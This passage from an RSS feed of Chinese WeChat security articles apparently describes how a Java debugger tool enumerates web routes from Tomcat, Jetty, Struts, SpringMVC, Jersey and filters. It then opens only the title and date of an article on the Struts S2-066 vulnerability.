initial;">com.kyodream.debugger.core.DebugManger#startAnalysts</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">初始化DebuggerThread</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">com.kyodream.debugger.core.thread.DebuggerThread#initHandler</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">首先获取handlerOrFramework 但是只将handler加入this.handles中，也就是这里只获取中间件</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><img class="rich_pages wxw-img" data-imgfileid="100003194" data-ratio="0.22870370370370371" style="box-sizing: content-box;border-style: none;max-width: 100%;background-color: var(--bgColor-default, var(--color-canvas-default));inset: 0px;margin: 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=6e062a9c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P59b3xrT2CWx8uyflbA2KibJJr5IVkaSutKOdJiaichkh6EzvEqA5kGkdicxaibfQTQSzMvMSRibBLrlAxGg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">com.kyodream.debugger.core.DebugManger#startAnalysts 中开启分析线程也就是</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">com.kyodream.debugger.core.thread.DebuggerThread#run</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><img class="rich_pages wxw-img" data-imgfileid="100003195" data-ratio="0.5115606936416185" style="box-sizing: content-box;border-style: none;max-width: 100%;background-color: var(--bgColor-default, var(--color-canvas-default));inset: 0px;margin: 0px;" data-type="png" data-w="1038" src="https://wechat2rss.xlab.app/img-proxy/?k=55f29c17&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P59b3xrT2CWx8uyflbA2KibJJF5aajutJGZf6tdRjriaPnOY62a8mXoaprqiaCibdO6ibY4rnOcDY2cwzCw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">首先是scannerMemory，内存扫描</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><img data-imgfileid="100003197" data-ratio="0.5657407407407408" style="box-sizing: content-box;border-style: none;max-width: 100%;background-color: var(--bgColor-default, var(--color-canvas-default));inset: 0px;margin: 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=2a270394&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P59b3xrT2CWx8uyflbA2KibJJy9ElNjkcOz83hb7rgTKxQSsQA2ouS3JmibicHBicd1z04UYkOMIqF42wg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">com.kyodream.debugger.core.thread.DebuggerThread#initHandler，初始化一些flag值</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">com.kyodream.debugger.core.thread.DebuggerThread#handleEvent，真正处理事件，分析内存，首先获取handler也就是中间件，再判断内存是否是初次分析以及有没有改变，然后进入分析逻辑DefaultHandler#startAnalysts，根据中间件不同，进入不同子类</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><img data-imgfileid="100003196" data-ratio="0.4759259259259259" style="box-sizing: content-box;border-style: none;max-width: 100%;background-color: var(--bgColor-default, var(--color-canvas-default));inset: 0px;margin: 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=a278893f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P59b3xrT2CWx8uyflbA2KibJJ04e81tEDFibEoVia6FIchrpCdjnvzRQvDpwvOLxpIibQDnAEbJHrlEOyQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">DefaultHandler#startAnalysts</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><img data-imgfileid="100003199" data-ratio="0.4666666666666667" style="box-sizing: content-box;border-style: none;max-width: 100%;background-color: var(--bgColor-default, var(--color-canvas-default));inset: 0px;margin: 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=dab1282b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P59b3xrT2CWx8uyflbA2KibJJ89dA7aanXt316b1Bic5rKicqSgTqO2iazD3Eibl5yFj3HLJCw4gCK28pXw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">对于不同中间件、框架是有不同的获取路由获取方式，例如Tomcat等，根据版本不同，也有不同获取路由方式</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">Jetty：com.kyodream.debugger.core.category.Jetty#handleWebAppContextOrServletContext</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">Tomcat：</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">com.kyodream.debugger.core.category.Tomcat#handleTomcat98</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">com.kyodream.debugger.core.category.Tomcat#handleTomcat76</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">Strusts：</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">com.kyodream.debugger.core.category.Struts#analystsStruts1</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">com.kyodream.debugger.core.category.Struts#analystsStruts2</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">SpringMVC：</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">com.kyodream.debugger.core.category.SpringMvc#handlerRequestMappingHandlerMapping</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">com.kyodream.debugger.core.category.SpringMvc#handleRequestMappingHandlerMappingLt4_0</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">Jersey</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">com.kyodream.debugger.core.category.Jersey#handleUrlMapping</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">Filter：</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">com.kyodream.debugger.core.category.Filter#handlerWebAppContextOrServletContext</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">com.kyodream.debugger.core.category.Filter#registryStruts2Prefix</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">com.kyodream.debugger.core.category.Filter#handleTomcat98</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 0px !important;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">PS：过滤器的分析同时提供了对不同中间件及框架的支持</p><p dir="auto" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 0px !important;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, &#34;Noto Sans&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><br/><mpchecktext><br/></mpchecktext></p><blockquote class="js_blockquote_wrap" data-type="2" data-url="" data-author-name="" data-content-utf8-length="34" data-source-title="https://skay.rce.la/Router4/"><section class="js_blockquote_digest"><section>原文链接<a href="https://skay.rce.la/Router4/" target="_blank">https://skay.rce.la/Router4/</a></section></section><section class="blockquote_info js_blockquote_source" data-json="%7B%22type%22%3A%22out%22%2C%22source%22%3A%22url%22%2C%22digest%22%3A%22%22%2C%22digestLen%22%3A34%2C%22text%22%3A%22%E5%8E%9F%E6%96%87%E9%93%BE%E6%8E%A5%20%E2%80%8Bhttps%3A%2F%2Fskay.rce.la%2FRouter4%2F%22%2C%22article%22%3A%7B%7D%2C%22hasReportOverSize%22%3Afalse%2C%22editorReportData%22%3A%5B%7B%22id%22%3A%22122333%22%2C%22key%22%3A%2276%22%2C%22len%22%3A1%7D%5D%2C%22from%22%3A%22https%3A%2F%2Fskay.rce.la%2FRouter4%2F%22%7D"><span class="blockquote_other"><a href="https://skay.rce.la/Router4/" target="_blank">https://skay.rce.la/Router4/</a></span></section></blockquote><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247486851">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=482dda8b&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5OTQ3NzA2MQ%3D%3D%26mid%3D2247486851%26idx%3D1%26sn%3D943770d1e11a9807bf5f1f42bb4e4aa6%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 21 Dec 2023 17:21:00 +0800</pubDate>
    </item>
    <item>
      <title>S2-066 浅析</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5OTQ3NzA2MQ==&amp;mid=2247486828&amp;idx=1&amp;sn=aace2699fb9cca4793334280e63ef8bb</link>
      <description>新漏洞总要学习下</description>
      <content:encoded><![CDATA[<p>
原创 <span>Skay</span> <span>2023-12-15 22:28</span> <span style="display: inline-block;">北京</span>
</p>

<p>新漏洞总要学习下</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=2f7954a8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ibvLpcNLVCicKefsckHKRIBdPnicNrGMianbBMgYVTQBug9gOCkicwetqGHN4o8T6AGmCE61dNdUdgzkQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


